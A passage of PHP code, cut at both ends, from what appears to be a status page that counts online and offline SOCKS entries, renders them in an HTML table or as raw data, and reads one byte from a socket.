	 echo (isset($_GET['rawdata']) ? '' : '<p><b>'.((int)$_GET['offline'] == 0 ? 'ONLINE' : '<a href="?offline=0">ONLINE</a>').': <font color="green">'.(int)$online.'</font> '.((int)$_GET['offline'] != 0 ? 'OFFLINE' : '<a href="?offline=1">OFFLINE</a>').': <font color="red">'.(int)$offline.'</font></b></p>'."\n\n".'<table class="socks">'."\n");
	 
	 echo $output;
	 
	 if (!isset($_GET['rawdata'])) {
?>

  </table>
  
 </body>
</html>

<?php
		}
	 }
	 
	 fread($socket[$sock], 1);
	 
	 // fclose($socket[$sock]);

?>